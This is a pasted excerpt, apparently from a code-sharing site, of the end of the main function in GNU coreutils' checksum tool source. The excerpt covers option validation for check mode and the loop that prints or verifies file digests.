  1027.  
  1028. if (delim != '\n' && do_check)
  1029. {
  1030. error (0, 0, _("the --zero option is not supported when "
  1031. "verifying checksums"));
  1032. usage (EXIT_FAILURE);
  1033. }
  1034.  
  1035. if (prefix_tag && do_check)
  1036. {
  1037. error (0, 0, _("the --tag option is meaningless when "
  1038. "verifying checksums"));
  1039. usage (EXIT_FAILURE);
  1040. }
  1041.  
  1042. if (0 <= binary && do_check)
  1043. {
  1044. error (0, 0, _("the --binary and --text options are meaningless when "
  1045. "verifying checksums"));
  1046. usage (EXIT_FAILURE);
  1047. }
  1048.  
  1049. if (ignore_missing && !do_check)
  1050. {
  1051. error (0, 0,
  1052. _("the --ignore-missing option is meaningful only when "
  1053. "verifying checksums"));
  1054. usage (EXIT_FAILURE);
  1055. }
  1056.  
  1057. if (status_only && !do_check)
  1058. {
  1059. error (0, 0,
  1060. _("the --status option is meaningful only when verifying checksums"));
  1061. usage (EXIT_FAILURE);
  1062. }
  1063.  
  1064. if (warn && !do_check)
  1065. {
  1066. error (0, 0,
  1067. _("the --warn option is meaningful only when verifying checksums"));
  1068. usage (EXIT_FAILURE);
  1069. }
  1070.  
  1071. if (quiet && !do_check)
  1072. {
  1073. error (0, 0,
  1074. _("the --quiet option is meaningful only when verifying checksums"));
  1075. usage (EXIT_FAILURE);
  1076. }
  1077.  
  1078. if (strict & !do_check)
  1079. {
  1080. error (0, 0,
  1081. _("the --strict option is meaningful only when verifying checksums"));
  1082. usage (EXIT_FAILURE);
  1083. }
  1084.  
  1085. if (!O_BINARY && binary < 0)
  1086. binary = 0;
  1087.  
  1088. char **operand_lim = argv + argc;
  1089. if (optind == argc)
  1090. *operand_lim++ = bad_cast ("-");
  1091.  
  1092. for (char **operandp = argv + optind; operandp < operand_lim; operandp++)
  1093. {
  1094. char *file = *operandp;
  1095.  
  1096. if (do_check)
  1097. ok &= digest_check (file);
  1098. else
  1099. {
  1100. int file_is_binary = binary;
  1101. bool missing;
  1102.  
  1103. if (! digest_file (file, &file_is_binary, bin_buffer, &missing))
  1104. ok = false;
  1105. else
  1106. {
  1107. /* We don't really need to escape, and hence detect, the '\\'
  1108. char, and not doing so should be both forwards and backwards
  1109. compatible, since only escaped lines would have a '\\' char at
  1110. the start. However just in case users are directly comparing
  1111. against old (hashed) outputs, in the presence of files
  1112. containing '\\' characters, we decided to not simplify the
  1113. output in this case. */
  1114. bool needs_escape = (strchr (file, '\\') || strchr (file, '\n'))
  1115. && delim == '\n';
  1116.  
  1117. if (prefix_tag)
  1118. {
  1119. if (needs_escape)
  1120. putchar ('\\');
  1121.  
  1122. #if HASH_ALGO_BLAKE2
  1123. fputs (algorithm_out_string[b2_algorithm], stdout);
  1124. if (b2_length < blake2_max_len[b2_algorithm] * 8)
  1125. printf ("-%"PRIuMAX, b2_length);
  1126. #else
  1127. fputs (DIGEST_TYPE_STRING, stdout);
  1128. #endif
  1129. fputs (" (", stdout);
  1130. print_filename (file, needs_escape);
  1131. fputs (") = ", stdout);
  1132. }
  1133.  
  1134. /* Output a leading backslash if the file name contains
  1135. a newline or backslash. */
  1136. if (!prefix_tag && needs_escape)
  1137. putchar ('\\');
  1138.  
  1139. for (size_t i = 0; i < (digest_hex_bytes / 2); ++i)
  1140. printf ("%02x", bin_buffer[i]);
  1141.  
  1142. if (!prefix_tag)
  1143. {
  1144. putchar (' ');
  1145.  
  1146. putchar (file_is_binary ? '*' : ' ');
  1147.  
  1148. print_filename (file, needs_escape);
  1149. }
  1150.  
  1151. putchar (delim);
  1152. }
  1153. }
  1154. }
  1155.  
  1156. if (have_read_stdin && fclose (stdin) == EOF)
  1157. die (EXIT_FAILURE, errno, _("standard input"));
  1158.  
  1159. return ok ? EXIT_SUCCESS : EXIT_FAILURE;
  1160. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement